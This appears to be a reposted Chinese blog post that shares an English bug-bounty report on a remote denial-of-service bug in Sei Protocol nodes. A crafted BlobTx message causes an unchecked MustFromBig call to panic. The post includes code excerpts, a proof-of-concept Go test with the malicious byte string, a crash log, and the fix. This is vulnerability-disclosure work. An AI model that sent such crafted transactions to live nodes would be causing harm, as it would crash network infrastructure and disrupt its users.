价值75K刀的Sei Protocol漏洞分享

Brief/Intro

我发现的这个漏洞是受到 https://x.com/usmannk 的漏洞文章启发,感谢 @usmannk,尽管我实际上没有得到赏金(由于晚提交了一天 ),被撞洞了。说价值75K刀是因为@usmannk的那个issue 1漏洞效果跟这个类似,sei给的奖励是75K。从熟悉Sei的代码到发现这个漏洞花了3,4天时间,这个漏洞影响就是可以远程DoS Sei 节点。以下就是当时提交的漏洞报告,我懒得翻译了,望见谅.

Vulnerability Details

there is a bug in the function GetRawSignatureValues when decode the ethtypes.BlobTx msg data ,for the bad decode the signature vaule and no check the input data which can lead to the call to MustFromBig paniced.we know AsEthereumData() is used for decoding the Evm BlobTx data,the code is below,First the function get v,r,s by call tx.GetRawSignatureValues()and there is no check the value v,r,s and directly call uint256.MustFromBig, with the v ,r,s as input.
func (tx *BlobTx) AsEthereumData() ethtypes.TxData {  v, r, s := tx.GetRawSignatureValues()  return &ethtypes.BlobTx{    ChainID:    uint256.MustFromBig(tx.GetChainID()),    Nonce:      tx.GetNonce(),    GasTipCap:  uint256.MustFromBig(tx.GetGasTipCap()),    GasFeeCap:  uint256.MustFromBig(tx.GetGasFeeCap()),    Gas:        tx.GetGas(),    To:         *tx.GetTo(),    Value:      uint256.MustFromBig(tx.GetValue()),    Data:       tx.GetData(),    AccessList: tx.GetAccessList(),    BlobFeeCap: uint256.MustFromBig(tx.GetBlobFeeCap()),    BlobHashes: tx.GetBlobHashes(),    Sidecar:    sidecarToEthSidecar(tx.Sidecar),    V:          uint256.MustFromBig(v),    R:          uint256.MustFromBig(r),    S:          uint256.MustFromBig(s),  }}
the proto of BlobTx struct is, we can see except ChainID is not omitempty, other value can be empty
type BlobTx struct {  ChainID    *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,1,opt,name=chain_id,json=chainId,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"chainID"`  Nonce      uint64                                  `protobuf:"varint,2,opt,name=nonce,proto3" json:"nonce,omitempty"`  GasTipCap  *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,3,opt,name=gas_tip_cap,json=gasTipCap,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"gas_tip_cap,omitempty"`  GasFeeCap  *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,4,opt,name=gas_fee_cap,json=gasFeeCap,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"gas_fee_cap,omitempty"`  GasLimit   uint64                                  `protobuf:"varint,5,opt,name=gas_limit,json=gasLimit,proto3" json:"gas_limit,omitempty"`  To         string                                  `protobuf:"bytes,6,opt,name=to,proto3" json:"to,omitempty"`  Amount     *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,7,opt,name=value,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"value,omitempty"`  Data       []byte                                  `protobuf:"bytes,8,opt,name=data,proto3" json:"data,omitempty"`  Accesses   AccessList                              `protobuf:"bytes,9,rep,name=accesses,proto3,castrepeated=AccessList" json:"accessList"`  BlobFeeCap *github_com_cosmos_cosmos_sdk_types.Int `protobuf:"bytes,10,opt,name=blob_fee_cap,json=blobFeeCap,proto3,customtype=github.com/cosmos/cosmos-sdk/types.Int" json:"blob_fee_cap,omitempty"`  BlobHashes [][]byte                                `protobuf:"bytes,11,rep,name=blob_hashes,json=blobHashes,proto3" json:"blob_hashes,omitempty"`  Sidecar    *BlobTxSidecar                          `protobuf:"bytes,12,opt,name=sidecar,proto3" json:"sidecar,omitempty"`  // signature values  V []byte `protobuf:"bytes,13,opt,name=v,proto3" json:"v,omitempty"`  R []byte `protobuf:"bytes,14,opt,name=r,proto3" json:"r,omitempty"`  S []byte `protobuf:"bytes,15,opt,name=s,proto3" json:"s,omitempty"`}
so if attacker make malicious BlobTx data( check the PoC), when call uint256.MustFromBig(s), in the function AsEthereumData will lead to paniced for overflow MustFromBig code:
// MustFromBig is a convenience-constructor from big.Int.// Returns a new Int and panics if overflow occurred.// OBS: If b is `nil`, this method does _not_ panic, but// instead returns `nil`func MustFromBig(b *big.Int) *Int {  if b == nil {    return nil  }  z := &Int{}  if z.SetFromBig(b) {    panic("overflow")  }  return z}
code from: global/pkg/mod/github.com/holiman/uint2[email protected]/conversion.go

How to exploit:

attacker can send this maclicous msg and shutdown Sei Node.we know the sei node process the tx routine is: abic.FinalizeBlocker-> app.FinalizeBlocker->app.ProcessBlock and in the ProcessBlock function will get the emsg(evm msg) from the Tx data. part of code:
  // run the prioritized txs  prioritizedResults, ctx := app.ExecuteTxsConcurrently(ctx, prioritizedTxs, prioritizedTypedTxs, prioritizedIndices)  for relativePrioritizedIndex, originalIndex := range prioritizedIndices {    txResults[originalIndex] = prioritizedResults[relativePrioritizedIndex]    if emsg := evmtypes.GetEVMTransactionMessage(prioritizedTypedTxs[relativePrioritizedIndex]); emsg != nil && !emsg.IsAssociateTx() {      evmTxs[originalIndex] = emsg    } else {      evmTxs[originalIndex] = nil    }  }
// Finalize all Bank Module Transfers here so that events are included for prioritiezd txs deferredWriteEvents := app.BankKeeper.WriteDeferredBalances(ctx) events = append(events, deferredWriteEvents...)
midBlockEvents := app.MidBlock(ctx, req.GetHeight()) events = append(events, midBlockEvents...)
otherResults, ctx := app.ExecuteTxsConcurrently(ctx, otherTxs, otherTypedTxs, otherIndices) for relativeOtherIndex, originalIndex := range otherIndices { txResults[originalIndex] = otherResults[relativeOtherIndex] if emsg := evmtypes.GetEVMTransactionMessage(otherTypedTxs[relativeOtherIndex]); emsg != nil && !emsg.IsAssociateTx() { evmTxs[originalIndex] = emsg } else { evmTxs[originalIndex] = nil }  
after execute the code evmTxs[originalIndex] = emsg, in here will get the msg data,And in the ProcessBlock will call DecodeTransactionsConcurrently to  decode the Tx, which the important is preprocess the evm msg, first will unpack the tx data, the code is below(simplied version):
func Preprocess(ctx sdk.Context, msgEVMTransaction *evmtypes.MsgEVMTransaction) error {
txData, err := evmtypes.UnpackTxData(msgEVMTransaction.Data) if err != nil { return err }
...
ethTx := ethtypes.NewTx(txData.AsEthereumData())
in here txData will be ok, no err return, the function UnpackTxData can bypass the check(like the PoC code.) and return no err.and then when call AsEthereumData() like the description before, because the bad value of the signature value S, and no verify the input of the function MustFromBig and when convert the big.int to int will lead to panic, and then will lead to the Sei Node Shutdown.

Proof of Concept

note : this msg can bypass the check of the function Unmarshal and Marshal . so this is a valid EVMTransaction msg ,which this means if attacker use this maclious EVMTransaction msg and send to the Sei netowrk when the sei node decode the msg will lead to Sei Node Shutdown.
func TestUnpackTxData(t *testing.T) {  btx := ethtx.BlobTx{} if proto.Unmarshal([]byte("z0000000000000000000000000000000000000000000000000"), &btx) == nil {            msg, err := types.NewMsgEVMTransaction(&btx)              if err != nil {                       return               }               _, ethTxData := msg.AsTransaction()       }}

when execute the code. will lead to ChainID is 0, s inuint256.MustFromBig(s) will be []byte(“000000000000000000000000000000000000000000000000”)
just like this:
BlobTx{ChainID:0S:uint256.MustFromBig([]byte("000000000000000000000000000000000000000000000000"))}

and the when call MustFromBig will lead to panic.

Crash log:

--- FAIL: TestUnpackTxData (0.00s)panic: overflow [recovered]  panic: overflow
goroutine 277 [running]:testing.tRunner.func1.2({0x1f2e6c0, 0x31c41b0}) /home/.gvm/gos/go1.21.10/src/testing/testing.go:1545 +0x238testing.tRunner.func1() /home/.gvm/gos/go1.21.10/src/testing/testing.go:1548 +0x397panic({0x1f2e6c0?, 0x31c41b0?}) /home/.gvm/gos/go1.21.10/src/runtime/panic.go:914 +0x21fgithub.com/holiman/uint256.MustFromBig(...) /home/.gvm/pkgsets/go1.21.10/global/pkg/mod/github.com/holiman/uint256@v1.2.4/conversion.go:88github.com/sei-protocol/sei-chain/x/evm/types/ethtx.(*BlobTx).AsEthereumData(0xc00023e2a0) /home/dev/sei-chain/x/evm/types/ethtx/blob_tx.go:169 +0x1505github.com/sei-protocol/sei-chain/x/evm/types.(*MsgEVMTransaction).AsTransaction(0x31d57e0?) /home/dev/sei-chain/x/evm/types/message_evm_transaction.go:53 +0x3agithub.com/sei-protocol/sei-chain/x/evm/types_test.TestUnpackTxData(0x1?) /home/dev/sei-chain/x/evm/types/message_evm_transaction_test.go:124 +0xbbtesting.tRunner(0xc00061a680, 0x2eeaa70) /home/.gvm/gos/go1.21.10/src/testing/testing.go:1595 +0xffcreated by testing.(*T).Run in goroutine 1 /home/.gvm/gos/go1.21.10/src/testing/testing.go:1648 +0x3adFAIL github.com/sei-protocol/sei-chain/x/evm/types 0.856sFAI

The Fix

The fix is simply, just add recover() function. so when the panic occur will recovery from the panic. the sei node will not shutdown.

价值75K刀的Sei Protocol漏洞分享

https://github.com/sei-protocol/sei-chain/pull/1762

后记

这是我的第一次在微信公众号分享文章,以后会不定期分享一些技术文章和技术见解,希望大家可以关注此公众号。如果有写的不好的地方,望见谅。行文仓促,如果有什么错误疏漏,也希望各位大佬指正。

原文始发于微信公众号(Viruspectre):价值75K刀的Sei Protocol漏洞分享

版权声明:admin 发表于 2024年7月13日 下午5:28。
转载请注明:价值75K刀的Sei Protocol漏洞分享 | CTF导航

相关文章